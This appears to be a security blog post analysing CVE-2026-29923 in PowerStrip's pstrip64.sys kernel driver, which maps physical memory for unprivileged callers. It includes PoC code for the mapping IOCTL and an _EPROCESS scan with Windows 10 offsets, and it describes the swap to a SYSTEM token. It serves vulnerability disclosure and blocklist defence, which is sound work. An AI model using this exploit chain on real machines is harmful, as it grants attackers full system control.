//nefariousplan

CVE-2026-29923: pstrip64.sys's HW_MapTheMemory Maps the Memory

patterns

cve

proof of concept

pstrip64.sys is the kernel driver in EnTech Taiwan's PowerStrip display utility. The DbgPrint format string compiled into the binary names the function behind IOCTL 0x80002008: HW_MapTheMemory. The handler opens \Device\PhysicalMemory, calls ZwMapViewOfSection with the caller's process handle, and returns the mapped virtual address. The function maps the memory. The CVE is for what the function does.

What the binary admits about itself

The PoC repository ships the driver binary alongside the exploit. strings on pstrip64.sys returns the PDB path the developer compiled against:

f:\EnTech\SmallPs\PSTRIP64_SYS\amd64\PSTRIP64.pdb

SmallPs is the codebase. The DbgPrint format string immediately above the PDB path is the trace string for the function whose entry the developer wanted to see in a kernel debugger:

HW_MapTheMemory Entry it=%d busn=%d busaddr=%x IoSpace=%d len=%d

HW_ is the prefix used for hardware-access helpers in PowerStrip's source tree. MapTheMemory is the name. The format-string parameters are everything a caller of HalTranslateBusAddress passes: an interface type (it), a bus number (busn), a bus address (busaddr), an address-space selector (IoSpace), and a length. Those are the same fields the driver translates out of the IOCTL 0x80002008 input buffer.

The Authenticode signature attached to the binary is issued by GlobalSign's ObjectSign CA to EnTech Taiwan, with a contact of [email protected], valid 060925131342Z to 070925131342Z. A VeriSign Time Stamping Services Signer countersignature is dated 060930093608Z. Two cross-signing chains through GlobalSign and the Microsoft Code Verification Root anchor the trust. The signing certificate expired on September 25, 2007. The countersignature pinned the signing event to September 30, 2006. The binary is loadable on Windows in 2026.

The IOCTL handler is the primitive

The PoC's wrapper around the IOCTL is the entire primitive:

struct PSTRIP_MAP_REQUEST {
    DWORD   OutputResult;
    DWORD   BusNumber;
    DWORD64 PhysicalAddress;
    DWORD   AddressSpace;
    DWORD   Length;
};

PVOID MapPhysicalMemory(HANDLE hDevice, DWORD64 physAddr, DWORD len) {
    PSTRIP_MAP_REQUEST req = { 0 };
    req.PhysicalAddress = physAddr;
    req.Length = len;
    DWORD bytesRet;
    if (!DeviceIoControl(hDevice, 0x80002008, &req, sizeof(req),
                         &req, sizeof(req), &bytesRet, NULL))
        return nullptr;
    return (req.OutputResult >= 68 && req.OutputResult <= 76)
        ? nullptr : (PVOID)(ULONG_PTR)req.OutputResult;
}

A caller fills the request structure with a 64-bit physical address and a length. The driver returns a virtual address in the caller's process. The caller dereferences it. Reads and writes on the returned pointer hit the requested physical page.

The kernel-side handler does what the function name says. It assembles the inputs into a PHYSICAL_ADDRESS structure, calls HalTranslateBusAddress to convert the bus address into a CPU physical address, opens \Device\PhysicalMemory via ZwOpenSection, and calls ZwMapViewOfSection with the caller's process as the section's target. The import table contains exactly those calls and nothing else from the Zw family: ZwOpenSection, ZwMapViewOfSection, ZwUnmapViewOfSection, ZwClose, plus ObReferenceObjectByHandle for the section-object plumbing. There is no SeAccessCheck, no ZwOpenProcessTokenEx, no ExGetPreviousMode. The handler does not look at who is calling.

The device opens from a standard user context with no elevation. The PoC's CreateFileA call is at the top of main:

HANDLE hDevice = CreateFileA("\\\\.\\PSTRIP64", 0xC0000000, 0, NULL, 3, 0, NULL);

The two facts together are the LPE. The DACL on the symbolic link admits the open from standard users, and the IOCTL handler does not refuse a non-administrator caller. The compose is unrestricted physical memory read/write from any process on the machine.

The chain is the standard token swap

Once a user-mode primitive returns mapped physical pages, the rest is bookkeeping. The PoC walks physical RAM in 2 MB chunks looking for the kernel pool tag Proc (0x636F7250), the four-byte signature on every _EPROCESS pool allocation:

for (DWORD off = 0; off < STEP; off += 0x10) {
    if (*(UINT32*)(blob + off + 0x4) != 0x636F7250) continue;
    ...
    DWORD pid = *(DWORD*)(ep + 0x440);
    if (pid == tPid && !tTokenAddr)
        tTokenAddr = physAddr + off + offsets[i] + 0x4B8;
    if (pid == sPid && !sTokenVal)
        sTokenVal = *(DWORD64*)(ep + 0x4B8);
}

Two targets are needed. The first is the physical address of the calling process's Token field at _EPROCESS+0x4B8 on Windows 10 22H2. The second is the token value stored at the same offset inside _EPROCESS for PID 4, the System process. Three lightweight heuristics validate candidate hits before the PID is read: a PriorityClass of 0x2, a clear ProcessLock, and a printable first byte of ImageFileName. The scan skips the 0xC0000000 to 0x100000000 MMIO reservation on x86 and resumes at the 4 GB boundary to catch pool allocations above the line.

Once both values are known, the page containing the calling process's Token field is mapped one more time, the field is overwritten with the System token, and CreateProcessA("cmd.exe", ...) spawns a child. The child inherits the parent's token. The child's effective user is NT AUTHORITY\SYSTEM.

The chain is the standard token swap any signed kernel driver exposing physical-memory read/write enables. The chain has not changed on Windows since _EPROCESS.Token got an offset.

The function has not changed since 2006

The DbgPrint format string compiled into the binary is the developer's own trace string, present in the binary because they wanted to see "HW_MapTheMemory Entry" land in the kernel debugger when the IOCTL was hit. The string and the function it names are bound to the signing event the countersignature pinned to September 30, 2006.

There is no advisory page on the EnTech Taiwan website acknowledging CVE-2026-29923 as of this writing. The CVE record names a maximum vulnerable version (≤ 3.90.736) and no fixed version. The driver hash the README publishes resolves to the binary that has been distributed with PowerStrip 3.90 installers for over a decade. The signing certificate expired in 2007. The countersignature kept the binary loadable, and the binary is the only one EnTech Taiwan has signed for this driver.

The pattern, again

This is the unpatchable-primitive shape, second appearance in the OEM-kernel-utility variant after LnvMSRIO. The substrate is the same: a kernel driver whose reason for shipping is exposing kernel-only capabilities to user-mode code that wants them. PowerStrip needed HalTranslateBusAddress and ZwMapViewOfSection because the user-mode utility wanted to poke graphics-card registers directly from a tray icon. The driver does what its name says.

The differences from LnvMSRIO sharpen rather than dilute the pattern. LnvMSRIO ships four IOCTLs (read/write MSR, read/write physical memory). pstrip64.sys ships one. The one IOCTL subsumes a read/write pair into a single mapping the caller dereferences at leisure, which means the kernel side has fewer entries to gate even if it wanted to. LnvMSRIO has Lenovo behind it, shipping a Dispatcher 3.2 with the DACL tightened. pstrip64.sys has a CVE assigned in 2026 against a binary whose signing event was in 2006 and whose function name is the spec.

This is also the design-debt-driver variant where the design is dead software. The driver continues to load because the trust anchor that admitted it in 2006 still admits it in 2026. The only operator response is to add the SHA-256 the README publishes to the local blocklist. Microsoft's Recommended Driver Block List is opt-in on systems without HVCI and lags the WHQL signature pipeline by months. Until then, every Windows system without the blocklist enabled will load this binary when an attacker with one-time administrator drops it as a service. After that, the IOCTL is open to standard users for the lifetime of the host.

EnTech Taiwan can patch the driver. EnTech Taiwan does not appear to be patching the driver. The signed binary outlives a patch that does not exist.

PoC: mein-0/cve-2026-29923

HW_MapTheMemory mapped the memory in 2006. HW_MapTheMemory maps the memory in 2026.